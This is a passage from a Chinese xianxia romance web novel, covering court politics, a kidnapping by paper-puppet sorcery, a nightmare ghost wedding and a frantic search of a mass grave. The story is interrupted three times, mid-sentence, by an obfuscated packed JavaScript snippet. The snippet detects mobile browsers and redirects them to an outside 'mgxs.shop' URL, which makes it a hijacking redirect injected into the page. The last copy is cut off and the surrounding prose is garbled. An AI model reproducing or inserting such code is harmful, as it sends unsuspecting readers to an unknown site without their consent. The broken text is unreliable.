萧夫人毕竟只是玄门中人,虽年长,对朝廷却知之不多,不过比起他们这些小辈,看得还是清楚些:“据说皇帝年老昏聩,愈发专断独行,欲废长立幼,太子与祁王势同水火,互不相让。” 段尚清道:“莫家站哪边?” 这等波谲云诡之事,可就难为萧夫人了:“你得问兰萱,我并不知情。” 段尚清立马朝白珏作揖:“依尚清之见,应让莫家为官之人劝说太子与祁王之其一,有王室宗亲坐镇,事半功倍,若劝得动,尚清愿携段氏子弟深入北境护卫边疆。请步月女侠千里传音给莫夫人,说清我等对策,由他二人定夺。” 白栩听他所言,欲语还休,只微微低头,遮去眸中复杂的神色。 白珏立马书信一封,甩手以灵火烧去,众人见事有眉目,稍安下心。 不多时,门外小厮急切跑来,疾声高呼:“少主,少主!” 这声“少主”称得是佐恭亭。 佐恭亭闻言连忙出去,见小厮送来一封千里加急的信,拆来来看,乃西北玄门所寄—— 司天监再临西北境,长生教与鬼方族死灰复燃,望佐修士速速归来,与我等共戮司天贼人。 佐恭亭立马收拾包袱准备出门,白栩跟在他身后问:“鬼方族是做什么的?怎会与长生教并列一起?” “一个玩弄巫蛊的氏族,邪法子多,害了不少人,我本已将其后人铲除,没想到余孽甚众,此番卷土重来,必有阴谋,西北境的修士大半流亡,驻守原地的不过寥寥,我得速去才行。”佐恭亭迈出门槛,萧夫人已帮他从马厩里亲自选了匹好马,牵到门口。 佐恭亭道别众人,背着包袱翻身上马,疾驰而去,马蹄扬起滚滚烟尘,片刻后便不见人影。 白栩站在门前送行,见其远去身影,心中不禁感叹:佐兄这个性子,和姐姐还真是想像,江湖上凡有要紧事,必是风驰电掣,雷厉风行,一样不着家的性子。 要是他做了姐夫…… 可怕、可怕。 他偷偷看向姐姐,白珏面色未有不舍,只露着焦灼,似是儿女情长在她心里根本算不上分量,她一心只挂念江湖玄门的事宜与爹娘的安危。 原本热闹的佐府冷清了不少,白珏、萧夫人同花千续接着商量临安之事,无暇顾及白栩和段尚清,两人得了闲,白栩拉着段尚清去了无人的屋内。 “你真的想好了?” 白栩攥着段尚清的手腕,微蹙着眉,不知如何开口才算妥当,只问:“你真的要去北境打仗?” 他曾以为玄门与军队是分门别类互不相干的两条支流,从未有人同他说过战士打仗只是会有玄门参战。 若是段尚清穿上甲胄手拿戈矛上身杀敌……他实在想象不出段尚清身上糊着脏污血垢是什么样。 段尚清知白栩误会,不急着解释,先抱着人亲了几下,白栩看他糊弄人,气得咬他脖子,段尚清吃了痛,笑意更深,才道:“修道之人不可妄入人间因果,我们参战,只做军心鼓舞,还要防着对面的巫师降咒,得替将士们斗法。” 白栩头一回听说这等稀奇的事,顿时气也不生了,别扭也不拧巴了,一双桃花眼里满是好奇,催促道:“细说,细说。” “修道之人虽有呼风唤雨的本事,但皆是借用五行,乃天道所赐,不可擅用,不可行不义之事。凡间两国相争,自有命数与劫难,天道不能扭转乾坤,我们亦不能插手,不过这般限制只存于正道之间,若是邪门歪道,则不受天道所限,胡作非为,肆意插手人间事,残害百姓,篡改国运之例屡见不鲜,吾等须与之斗法,使其阴谋不可得逞。” 说完天道伦常的大道理,段尚清又给白栩补了个他爱听的杂谈:“据说早年间,两国交战,其中一国请了个道士来斗法,这道士一看便不是正派之流,乃修习邪道,心术不正之人,皇帝为了打赢,放任他胡作非为,那道士以沙石化作粮草给前线士卒充饥,沙石无数,粮草亦无数,于是军心大振,不日便攻破敌国,掠夺城池数十座,班师回朝之日,所有将士皆死在了营地里,肚子涨得奇高,有的甚至爆裂开,散出了一地沙石。” 白栩被段尚清这故事吓得打了个冷哆嗦,心有余悸地摸摸自己的肚子,愤愤道:“这般害人害己之徒,当真可恨!” 段尚清点头:“不过这也只是乡野怪谈,大多邪修以敌营将士为靶,不会残害己国士卒,像故事里那个道士,大抵是坐收渔翁之利的第三国派来的。” 听他这么一分析,白栩深觉江湖险恶,更加忧心:“那你去了可会有危险?” “我有道罡八咒护持,断不会受伤。”段尚清低头凝视白栩,眸中尽是柔情与担忧,“若我真去了,你一定要跟紧佐家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365486|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万不可独行。” 白栩点头,手指蜷缩,下意识抓紧了段尚清的衣袍:“若皇帝不同意,我们该当如何?” 段尚清沉思半晌,掷地有声道:“我带着你逃,若皇帝不从,必然兵临城下武力相逼,我们不可牵连佐家,我带着你往西边逃,正好去落玥族旧址看看,好探寻长生簿如何由来,虞惑的秘密到底是什么,与江南玄门里应外合扳倒司天监。” 万事都在段尚清心里安排得井然有序,进退有路,白栩只觉心安,露出朗然笑意来:“明明你比我小几岁,怎么比我爹还靠谱。” 段尚清忍俊不禁,张开双臂把白栩牢牢抱在怀里:“若你一开始便是循规蹈矩、深谋远虑之人,我大概也不会心悦于你了,锦爻,若寒城花灯节那夜,我第一次萌生出超脱凡尘、随心所欲的自在感,我先前无可奢望之情,在你身边,仿若唾手可得。” 意识到自己说多了,他低头看向白栩,只见那双清凌凌的眸子里,没有半点不耐与鄙夷,他轻笑一声,像剥开重重面纱,露出一颗颤颤巍巍的心来:“说起广陵段氏,必以管教甚严闻名,自从我懂事起,便一日不辍地习武学文,从不被允许逾矩放纵,凡欲做事,必先瞻前顾后,思虑得失,不义不可为,不礼不可做,如此数年,我虽不至孤僻不闻世事,到底是不知人间冷暖。姚靖性子野,我爹从不管教他,唯独对我求全责备,一刻不懈,我学不来佐家的豪爽,也学不来白家的恣意,唯有尊法守礼、恪守玄道,才能正身立德,无愧天地,我以为我终身便会如此这般谨小慎微地以身殉道,唯你教我可以放肆,可以犯错,哪怕做不好,也不会被责备,锦爻,我已被炼成了一把双刃而无鞘的剑,只做杀器,无隅偏安,直至锈满其身,折骨道消,不留余烟……我想请你好好收着我,别扔掉我,若可以,将我回炉重造,添点温情进去,别让我惶惶终日,无地心安。” 白栩看着段尚清,满眼都是心疼,他第一次听到这般情真意切、不留一丝颜面与底线的剖白,仿若全然托出一颗真心,无所顾忌,毫不犹豫。 “你真是……”白栩抬手捧住段尚清的脸颊,自他脸侧轮廓一寸一寸抚摸下去,“小可怜见儿,以后哥哥宠着你。” 段尚清被白栩逗笑,一双凤眸弯起,眼尾的弧度宛若凤凰展翅,泄出一片流光溢彩:“那我们说好了,一生一世都要在一起,若你胆敢离我而去,上天入地,我也要把你寻回来,而后便把你关起来,让你永远也逃不掉。” 白栩噗嗤一笑,自己倒是不知道段尚清还有这般小孩子气的心思,不过,幼稚一点也无妨,徒增可爱罢了。 他目光坦然而认真,同段尚清郑重约定:“说好了,绝不骗你,不过,若你敢离我而去,我就真的不要你了,你怎么求我都没用了。” 段尚清撅起嘴表示不满:“你怎么恶意揣测我,若我变心,你便一剑捅死我,若我说了伤你的话,你便用针线缝了我的嘴,若我……” 白栩连忙捂住他的嘴:“不可妄言!” 段尚清扒拉开:“不是胡说,若当真有那一日,我便不是如今的我,你万不要手软。” 白栩呼吸滞了一瞬,他是头一次接触到段尚清性情中这般宁为玉碎不为瓦全的一面,金无足赤,美玉难无暇,这般性子潜藏着歇斯底里的祸根,不过有自己在他身边,总能叫他安得其所而不至于玉石俱焚。 他迎着段尚清炽烈的目光,点头应下,吻住那只薄唇:“答应你,都答应你。” 33. 鬼梦一场 因在佐家借住,两人不可堂而皇之地共寝一屋,虽是分房而睡,但房间彼此相邻,仅一墙之隔,夜间隔壁的翻书声、吹灯声窸窣传来,纵使凉夜如水,亦倍感亲切。 一日深夜,白栩于噩梦惊醒,醒时满脸是泪,一摸枕巾,果不其然湿了一片。 忙将脸擦干,看向屋外,夜色浓重,月光清幽,夜方过半。 睁眼时已记不起梦中之景,只记得不住在急走忙逃,身后似有鬼物追赶,看不清脸,却骇人无比。 他喝了口凉茶压惊,茶水苦涩,一入脾肺,稳下心神,本欲再睡,忽听院内似有声响,不重,兼有缓缓踏步声、林叶振动声、窃窃私语声交杂传来。 白栩疑惑,推门向外看,院中霎时寂静,唯余一玉身长立之人站于月色下,微垂着头,发丝松散,看不清脸与神色。 白栩却是认清了,舒了口气,踏出门外,几步向前,拉住那人手腕,笑意盈盈道:“尚清,怎地大半夜不睡?” 段尚清一双墨黑瞳孔直盯着白栩,语调平稳,不知情绪:“夜里惊醒,出来散散心。” “你也是做噩梦了?”白栩颇感同病相怜,拉着人去院中凉亭坐下,“我亦做了噩梦,详细不太清晰,只记得不住在逃,却记不清是何人在追,醒时哭了一枕巾泪,许是吓出来的。” 他说着抬手摸了摸段尚清的眼睑,干燥而无哭过的痕迹,想来只有自己才会在梦里吓哭。这般糗事说与旁人听,他必不乐意,恐遭调笑,若说与段尚清听,只会得来一个安慰的吻。 他仰着头,等着段尚清亲下来。 意外的,段尚清一动未动,只睁着眼睛凝视白栩,一眨不眨。 白栩心中犹疑,撤回手,直坐起来,迎着目光亦盯回去。 段尚清的眼眸是他见过最漂亮的,琥珀瞳孔宛若夕阳灿金,总是泛着莹莹微光,望之仿若身浸温泉,被暖水徐徐包裹住,丝毫不会有冷冽之感。 而今这般明朗而皎白月光却照不透他的眸子,琥珀的微光彻底被浓黑取代,看不出目光流转,只余木讷僵硬。 白栩似有所觉,忽地惊颤,站起身,向后退了两步,紧盯着眼前人,仿若临面洪水猛兽。 他记得在若寒城时,有一之人仿造自己的模样将段尚清推至棺中,几欲身亡……眼前这人,莫不是纸扎的? 可纸人不是在江州聚集,怎会流窜至衡阳?佐家难道一丝都未察觉? 不得多待,他转身向段尚清的房内跑去,是人是鬼,两相对峙,一看便知。 没跑出几步,白栩立马被身后之人牢牢抱住,他想大喊,立刻被两只长得不正常的冰凉手指捅住喉咙——若只是捂嘴,他尚能挣扎出声,这般下作招数,只逼得他不住干呕,吐出一股酸水。 那怪物也不嫌,使劲往深处捅,压住他的舌与喉肉,使劲抠挖,剧痛无比,白栩只能发出“咯咯”的微声,眼泪不住外流。 身后之人力气奇大,手脚被桎梏住,动弹不得,他奋力挣扎,却弄不住一丝响动惊动他人前来搭救。 明月高悬,凉凉月光泻下千里,白栩被迫仰头露出脆弱脖颈,一只力道强悍的手钳制过来,冰凉的手指不断施力下压,几欲将他喉咙捏碎。 白栩呼吸不上,剧痛难忍,眼一黑,昏死过去。 再睁眼,周遭一片金黄,涩涩麦香混合着泥草腥味钻入鼻腔。 白栩撑起身,环顾四周,此时他正身处一片麦地里,半人高的麦秆将他团团笼罩,密不见天。 麦穗金黄,俨然到了收割季节,白栩想不出自己在哪儿,江南水草丰美,多以水稻为食,未曾听闻哪地盛产小麦。 他起站身,摸摸自己的喉咙,不痛不痒,似乎不曾被怪物掐握。 疑虑间,他抬头望向天,天际是一望无际的黄,宛若黄土扬至天上,细细密密地铺陈涂满,不留一丝余地,白云不见一朵,日头高高挂起,金光普照,却不甚暖,明明一派暖色,体肤却感一片寒凉。 此地诡异,明明醒前还在佐府,这回不知被那纸人运到何处,得赶紧寻出路。 他跌跌撞撞地往麦地边缘走。 脚下的路坑坑洼洼不平坦,极易崴脚,白栩走得小心,生怕崴了脚丧失逃生之力。 麦地一望无际,走也走不到尽头,空气中似乎不留一丝水分,宛若火烤,煎熬人寿。 白栩不久便口干舌燥,皮肤干燥发紧,绷得难受。 在江南,他少有这般干裂至痛之感,疑虑自己莫不是在北境,又觉荒唐,自己一大活人,被运出甚远,少说得有几日行程,自己不曾察觉不说,身边人竟一个不知? 不欲胡思乱想,白栩用袖子挡住脸,加快步子往外走。 远远地能看见一条大路,笔直地横亘着,不见开头与末尾。 白栩爬上土路,眼中除了黄已看不清任何颜色,日光愈发炽烈,他艰难远眺,只见一顶红轿自远处悠悠而来,临近了,能听见悠扬的唢呐声。 似是喜队,一人在前吹唢呐,两人在后敲梆鼓,新郎官骑着高头大马跟着乐队,身上绑着大红花,喜轿帘子飘飘荡荡,露出一只绣花鞋,耷拉在外边,无力地晃动。 白栩顾不得其他,只期望有人给他一碗水喝,连忙起身拦轿,作了一揖:“各位,恭祝二位新人喜结姻缘,鄙人远行至此,口渴万分,可否赏一口水喝,不日定在姻缘殿为二位祈求百年好合。” 无人应答,只有唢呐无休无止地吹,梆鼓一刻不停地敲。 整个场面明明十分喧闹,却无端透露着诡异的寂静——没有人声。 好像只有自己一个活人。 白栩警觉,目光看向轿子,绣花鞋仍在晃荡,他心里一惊,莫不是新娘子不愿嫁人,在轿子里上吊了不成? 他忙上前掀开挡布,一见里面的人,竟是姐姐白珏,已悬于车厢梁上自尽。 白栩一瞬生出在梦中才会恍觉的荒诞感,愣了半晌,而后咧嘴大笑起来:“都是梦啊……大惊小怪,该醒了吧?” 以往凡是意识到自己在做梦,很快便会醒来,而此时却毫无梦醒之感。 一切都那么真实,仿若并非梦境。 白栩心里一惊,忙扯手后退,唢呐已不吹了,梆鼓也已不敲了,众人歪着脑袋直愣愣地看向白栩,墨黑的瞳,惨白的脸,涂血的唇。 又是纸人! 白栩立马撤回麦田里,朝反向奔逃。 身后窸窣声渐盛,白栩心跳如肋骨,腔中似火烧,间隙回头一看,数张毫无生机的纸人脸正与他贴得极近。 它们跑起来宛若公鸡,头不动,手并在身侧,只余两腿迈得极快,一张惨花花的白脸仰着,血红的唇笑着,黑眼睛里没有任何神采,却能看出杀意腾腾。 眼前就要被纸人抓住,白栩拼了命加快脚步。 方才一望无际的麦田,此时轻易便跑到了底,面前是万丈悬崖,他却已无法收住脚步,整个人飞也似的冲了下去,直挺下坠。 纸人站在悬崖边看他,嘴上兀自笑着,满是恶毒得逞之相。 崖下风声喧嚣,擦着耳畔掠过,如刀刃划来,几欲割伤。 白栩四处抓握,各处无所依凭,光秃秃的千仞峭壁,连一棵枯树都没有,显然窝着断绝人生路的祸心。 白栩以为必死,闭上眼,不欲再看。 预想中的剧痛未曾袭来,他等了片刻,耐不住好奇,睁眼查看,发现自己正骑在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365487|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马上,身上是大红喜袍,座下是高头大马,身后一喜轿,身前共三人,一人在前吹唢呐,两人在后敲梆鼓。 白栩一瞬便知自己成了谁,忙向后看,轿子帘下并无绣花鞋耷拉在外,他仍不放心,欲下马查看,谁知一动,才发现身上尽是麻绳,他整个人竟被捆在马上! 白栩奋力挣扎,不料惊了马,烈马飞奔而去,甩开一队送轿之人,直奔路尽头的大庄而去。 一路横冲直撞,马儿带他直冲破栅栏门,挤进宾朋满座、摆满八仙桌的大院。 一众宾客纷纷惊起身,几个壮士出列将马安抚,而后朝白栩作揖:“白公子大喜之日,马儿也替您高兴,带着您先回来吃喜酒。” “大喜?”白栩冷哼一声,“若是大喜,何故绑着我?” “绑?”众人不解,面面相觑,“白公子何谈绑着?” 白栩朝身上一看,麻绳凭空消失,只留一朵大红花亮得扎眼。 他深觉古怪,心中亦愤懑难平,究竟是何人戏耍他至此!黄泉路都走过了,区区纸人窝,还怕了不成? 可眼下敌暗我明,不便打草惊蛇,白栩咬着牙忍住怒火,下马作揖,朝众人赔罪:“方才惊马搅扰了各位,还望见谅。” 众人一递一声地劝慰,尽说些吉祥话恭祝喜事,抬轿之人亦赶至庄前,红轿子落下,女婢扶着新娘下轿,迈过火盆,送至屋内。 白栩被留在外面喝酒。 天色渐晚,白栩被逼着喝了好几杯酒,辣得舌头发麻。 他爱酒,但不爱这般辛辣的农家酒,浊而无清,难品风韵,喝之只余辣口烧胃。 白栩推脱众人,躲至屋内,松了口气。 他急急脱下喜袍,嫌弃至极地掷在地上,只穿内衫掀帘进屋。 新娘端坐着,一声不吭,白栩瞥见桌上合卺酒,愤恨地扫落在地,深吸几口气压下怒火,冲新娘拱手道:“姑娘,白某早有心悦之人,此番被劫来成亲,实非所愿,白某不愿误了姑娘终身大事,还请姑娘成全,放白某离去!” 新娘默然无语,一动也不动。 白栩犹疑,起身上前一把掀开新娘的盖头——竟还是纸人! 纸人纸人!到处是纸人! 白栩怒火中烧,奔至外屋,一脚踹开屋门,朝外大喊:“一庄贼人!竟敢戏耍于我!劫我来此娶一纸人!是何歹心!” 他吼完,忽被一阵迎头寒风吹得踉跄一步,抹开面上飞沙,竟见屋外林立数只纸人,个个面朝着他,黑眼红唇白脸,笑得阴测。 白栩低骂一声该死,欲回屋内取烛台将着鬼缠一般的之人烧个干净,不料一回身竟见纸新娘立在身后,同他贴得极近,一张惨白脸挂着只血红唇,眼睛点了血,月光一照,渗人无比。 白栩心跳停滞一瞬,低头,见纸人手里拿着把明晃晃的刀,正抵在他腹部,已捅进半寸。 他一掌将纸人推开,捂着伤口逃至屋内,取到蜡烛,牢牢握在掌心。 “你究竟是活是死?”白栩质问一声,将蜡烛掷向纸新娘,新娘不躲,蜡烛落在它身上,滚落在地,火遇纸本该烧着,此番竟熄灭了去,只余一缕白烟。 白栩以为蜡烛被摔灭了,又抄起一根,贴近纸人燎去,谁料火当真烧不着纸。 白栩大惊,不及后退,纸人已有所动,一刀将他右手削去,顿时血喷四溅。 白栩愣在原地,被痛惊醒,顾不得断手,急忙向外奔逃,谁料院中纸人齐齐堵在门外,各各手拿长刀,刀刀开刃。 前有狼后有虎,进退不得,白栩僵在原地,断腕的血在他身下积了小水洼。 刀砍声不绝,血泊中不时有皮肉掉落,越积越多,直至成了一滩肉糜。 34. 失而复得 天尚昏,鸡鸣声声。 段尚清惯于早起,纵使前日晚睡,此时也不愿贪眠。 他轻手轻脚地起身去梳洗,念在白栩尚在梦中不忍吵醒,先点灯读了几章经书,直到卯初天亮,才执剑出门,寻一处宽敞偏僻之地练剑。 佐府辰初才用早膳,以往临近饭点,白栩自会醒来,不用人叫,今日不知何故,竟赖床不起。 段尚清收了剑,接过下人递来的帕子擦干汗,侧头看向白栩那紧闭的房门,不禁失笑。 难得有机会去叫人起床,他叫府丁替他寻个蜜饯过来,若是白栩不起,就用这个哄。 叩两声房门,门内果然无声,便推门而入。 榻上拱起一床被子,某只懒猫就蜷在里面睡得香甜,段尚清心中不觉绵软起来,轻步走近,拍拍被子,柔声唤道:“阿栩,起床了,要吃饭了。” 无人应答。 “怎么睡得这么沉?”段尚清笑着剥开被角,本想看看白栩睡得脸蛋红扑扑的模样,谁知入眼一张惨白纸人脸,黑洞洞的眼睛直盯过来,一张红唇裂开,极尽恶毒地嘲笑他的迟钝。 段尚清瞳孔一缩,不假思索,立即拔剑砍去,眼见剑刃将要剖开纸人面门,他生生收住力,叫剑悬停下来。 他想起先前在若寒城,他梦里见白栩模样的纸人作祟,醒时竟在现实里伤了白栩,还在他脖上留下刺眼的掐痕…… 纸人术法阴邪异常,不知还有什么阴谋诡计,此时断不可轻举妄动,万一是障眼法,榻上的明明是真人,自己看来却是纸人,一剑下去,岂不酿成大祸? 他沉静下来,掀开被子,抱起纸人疾步往白珏房内赶去。 白珏同萧夫人住在东院,平日里他们鲜少踏入,若有事要找,总是叫女婢去通报,而今事态紧急,他实在顾不得许多礼数,大踏步走近镂空雕凤石门,迈入东院地界。 “步月女侠!萧夫人!”他站在院中叫人,这个时段,两位早已醒来,不过都在梳洗,听他急切呼唤,连忙出门来看。 “阿栩房内仅有这纸人一只,不见人影,我恐是障眼法,不敢轻易伤害,请二位替我辨明!” 言毕,他将纸人奉上,递给二人。 白珏接过,一手掐住纸人脖子,使劲捏下,纸人内无骨架,立刻泄了气似的缩瘪下去,白珏将纸人团成一球扔在地上,怒骂一声:“鼠辈胆敢欺我如此!”拔剑便往外追。 段尚清连忙跟上去:“尚清愿助女侠找人。” 白珏看他一眼,信任地点头,两人将至门外,萧夫人扬声叫住他们:“你二人要去哪里追人?你们初来乍到,对衡阳并不熟悉,何处去寻?再说眼下一点线索没有,无头苍蝇乱窜反而碍事,先冷静下来,我们去小栩房内看看。” 大人开口,叫他们有了主心骨,立刻安心下来。 三人去往西院,姚靖正在院内松筋骨,见来人火急火燎,尤其是白珏也跟来,“咦”了一声,满脸诧异。 “为何摆出这幅表情?你可见到你阿栩哥哥?”段尚清快走两步问他。 “没见着,不过方才见着白珏姐姐了。” 姚靖侧过脑袋看向白珏:“姐姐不是出门去了?怎么又从东院过来?” 他这话一出,众人皆是一愣,面面相觑之下,还是白珏率先反应过来:“定是纸人作祟!” 萧夫人面露惭愧:“都是我的疏忽,宣梁与我来信,已告知我江州有有纸人作祟,我以为两地遥远,必不会侵扰至衡阳,谁知那邪术竟北上而来,还在我眼皮子底下劫走了小栩!” 她垂眸沉思,计上心来:“小珏,去取你弟弟贴身之物来,佐家有一秘术,名曰草蛇灰线,与那千里传音同出一脉,皆可用来寻人,可惜此法传至今日功力稍减,只能巡查方圆千里的人踪。小栩是昨夜失踪,如此一夜,倘若尚未走出千里,此时去寻,说不定还能奏效。” 白珏得令,立刻飞奔至白栩屋内,四下翻找,没找到什么能称作贴身之物,凡摆在明面上,皆是外衣、纸卷、笔墨砚台、玉佩之类,段尚清见她犯难,也跟了进去,于衣柜下方蜀锦包袱里面取出几件亵衣交于萧夫人:“此等亲身之衣,可否用以作法?” “再好不过!”萧夫人接过,指沾朱砂在衣上画出一道符,而后扬手将其掷于空中,丝衣无火自燃,一阵如烧羽毛的焦糊味飘过,丝灰在空中洋洋洒洒绘成一道细弱蛛丝的灰线。 “成了!循着线走!” 众人一齐跟上,灰线飘在空中,穿过繁华的主街,越过苍郁的丛林,悬停在一处空地上。 这是一片郊野荒地,几只渡鸦盘旋空中,沙哑嘶鸣,黑土之上,白骨露于野,荒草杂乱,偶有一二木桩歪斜地插着,上书人名,多有错字。 “这里是……乱葬岗!”白珏一双杏眼睚眦欲裂,血海烧着琥珀眸,两行热泪灼灼淌下,她怒吼一声,立刻飞奔下土坡,期间不知踏碎了几人的骨头。 偌大一片荒地,白栩究竟被埋在哪儿,没人知道。 她站在空地上无措起来。 段尚清跟着白珏下去,环视一圈,找了片地蹲下开挖。 “草蛇灰线”指引于此,由不得不信,他只求上天垂怜,让他能尽早挖到白栩。 萧夫人命姚靖召集城内弟子一齐前来找人,期间空档,她同二人一起下去挖人。 段尚清埋头不辍地挖,直到土中碎石划破了掌心,鲜血如注涌出许多,得了痛,才稍能冷静。 抬起头,天光晦暗,浓云有意捉弄,片刻间便汇聚了许多,低沉沉压下来,似要下雨。 他艰难地眨动眼皮,此时才意识到眼睛已干涸许久,身下已挖出一片土坑。 白骨见了许多,唯独不是白栩。 他心中恐惧,手不住地发抖,环视一周,见白珏边挖边哭,指甲劈断,尽是鲜血,姚靖满脸是土,眉头紧锁,难得见一副愁容,萧夫人指挥佐氏弟子挥铲开挖,领着白珏去给她处理伤口。 他站起身,双腿麻木无比,胸腔郁闷,深吸口气,喉中涌上腥甜。 雨幕落了下来,雨水冲刷泥地,搅出一片泥浆。 头顶的发冠忽地崩裂,玉簪落在泥浆里,一瞬便被泥浆淹没。 这是白栩赠与他的,比任何东西都宝贵,段尚清连忙趟水去捞,却被玉簪生生插进石子划开的红肉里,差点戳穿掌心。 本稍愈合的伤一下子被捅了个漏,血喷涌而出,混着泥水流向远处。 “师兄!”姚靖注意到他受伤,立马过来给他处理伤口,“你脸色太差,先上去休息,下面有我们,还有这么多佐家弟子,一定能找到阿栩哥哥的,你先上去!” 段尚清眼珠慢了许久才转向姚靖,他看着师弟的脸,压抑了许久的恐慌与自责涌上心来,直逼得他泪落如雨。 姚靖从未见过段尚清哭,一时措手不及,愣在原地。 “我与他房间临近,他被劫走,我竟全然不知……先前我还大言不惭地说要保护他,如今却害他被扔至乱葬岗,活不见人,死不见尸……” 段尚清低着头,眼泪砸在泥水里,与雨水的溅落的涟漪混在一起,许是天在同他流泪。 “师兄,阿栩哥哥吉人自有天相,一定会没事的!”姚靖一把将段尚清拽走,拉到土坑上面去,“你且休息一会儿。” 段尚清擦干眼泪,点点头,目光瞥向土坑下方,不知是不是错觉,一道蓝莹莹的光闪过一瞬。 他眨去余泪,清眼去看,不是错觉,泥水里,一条细若游丝的荧蓝光线画出一条明路。 “姚靖,你看!” 段尚清指给姚靖看,姚靖狐疑地看不出个所以然。 段尚清解释:“一条荧蓝光线。” 姚靖却还是看不出来,只嘟囔:“哪有?” 段尚清一愣,再回头,那光线愈发明显,显然指路要他去。 线的始端,是他方才跪的地方。 段尚清伸掌来看,只见自己掌心流出的血里,也泛着荧蓝色的光。 他将手拿给姚靖看:“我血是什么颜色?” 姚靖一脸不解:“红色啊……师兄你是不是操心傻了?” 段尚清了然于心,这荧蓝的线,是只指给他看的。 他立刻跳下土坑,循着蓝线追踪过去,停在一株老榆树前。 榆树早已枯死,徒留一桩巨大的骨骸凄惨地曝尸荒野。 蓝线钻入树干底下。 老树纵死,木桩也是挖不开的,段尚清拔出剑,一剑劈断老树,炸开的木屑崩上天际,潇潇落下,仿若一场骨灰雨。 “师兄!” “段公子!” 白珏和姚靖匆匆向他跑来:“为何如此?” 段尚清顾不得解释,只道:“白栩在这下面。” 白珏明显愣住,在她眼里,段尚清一身白衣立于枯树桩前,脸色苍白,眼底发黑,眸目晦暗,手里的剑淌着自他掌心流下血,此一身,宛若雨夜寻人的荒坟魂鬼。 姚靖率先扯开嗓子吆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他没搞懂这是什么情况,自己到底是陷入了何方境地才能把他俩这仿若金刚佛般刚强的人物逼成这样? 眼珠四下瞟了瞟,黑色的矮壁,壁旁是土坑。 果然是被埋进棺材里了么。 他讪讪地想,只要不是被砍成肉酱,怎么都能接受了。 不过那纸人着实该死,害我就算了,居然害得我姐姐和尚清这么伤心,必须除之以绝后患。 他艰难地撑起身,抬起酸麻的手臂,一边一个捞过两人按在自己胸膛上,柔声安慰:“好了,别哭了。” 他声音尚且虚弱,却是朗然笑了起来:“我福大命大,死不了,倒是你俩,哭成这样,我都要不认识了。” 白珏也冲他笑:“姐姐定要替你去屠了司天监。” 白栩难得以下犯上地掐掐白珏的没什么软肉的脸颊:“就会说大话。” 两个姐弟已然有说有笑,徒留段尚清一人在一旁流泪。 白栩转而捧起段尚清的脑袋,见他皱着眉,一句话也说不出,只顾流泪,不禁失笑。 难得美景,白栩欣赏了片刻,才替人擦去眼泪。 “小神仙又落金豆子了。” 段尚清抬眸,方才阴郁如厉鬼的眼眸被泪洗了个干净,只余下清清朗朗的两颗晶莹棕琥珀。 白栩很想亲亲段尚清好让他不再后怕,可惜周围人太多,不好意思放肆,只用指腹抹去他的泪,替他梳好凌乱的碎发,轻声哄道:“我好着呢,别怕了,嗯?” 段尚清点头,却还是哭:“是我……没护好你……此番你受难,全都怪我……” 这家伙总是在奇怪的地方钻牛角尖,白栩知道他心里什么都明白,任谁来讲道理都没用,哄这家伙,就得下猛药。 白栩凑近他耳边,压低了嗓音耳语:“只要你不哭了,回去我们亲亲抱抱再一起睡,好不好?” “一起睡”三个字在段尚清脑中炸响,一瞬间真连哭都忘了,听话地点点头,抬着一双瑞凤眼可怜兮兮、老实巴交地直盯着白栩看,一刻也舍不得移开。 他眼睛鼻子哭得通红,像只与主人久别重逢的小狗,忽扇着泪水浸透的黑长浓密的羽睫,乖乖应下:“嗯,说好了,不许只是哄我的托词。” 白栩被他这幅可爱又可怜的模样磨得心痒无比,恨不得立刻回去把人抱怀里揉搓一番,再蹭蹭唇肉安抚这只受惊了的大犬。 他按着段尚清的脑袋,让他的眼皮贴着自己颈侧的血管,那里最能感受脉搏。 “我说话算话,一个字也不骗你。” 35. 非死即伤 回去一路上,段尚清微有些魂不守舍,白栩知道他仍桎梏在自责里,这种几近强迫的心结,一直迫使他臆想种种更差的可能,想要解开这般思绪,唯有让他体会到切身实地的安全与信赖才行。 本想回家去好好安慰这可怜见的,没想到花道长不请自来,搂着个纸人坐在白栩榻上,好整以暇地看着他俩。 “你这是?”白栩对他仍有些许芥蒂,不过依然留有信赖,但见其搂着纸人的怪异姿态,深觉此人神志不似常人,不禁面露难色,“这纸人哪儿来的?你怎么还搂着。” 花千续扬起唇角,露出个老狐狸笑:“小姚靖和我说,不但他一早上见鬼连着碰上两个白珏,就连你这个倒霉蛋也被纸人抓走失踪了,特告知于我,让我想想法子出出主意。我看这纸人妖术来自鬼方族,没想到能在衡阳碰到。” 他将手里的纸人丢在地上:“这就是你另一个‘姐姐’,细细瞧瞧吧,等会儿就要烧了。” 白栩拉起纸人端详,深觉此物丑陋无比,和姐姐白珏除了都长着两个眼睛一个鼻子一张嘴以外,哪哪儿都不一样,他鄙夷:“这手艺也太差了。” 段尚清凑近白栩道:“我早上寻到你的纸人,也是这般丑陋,不过若寒城那夜遇到的,却是精巧非常,不止能动,还能自燃。” 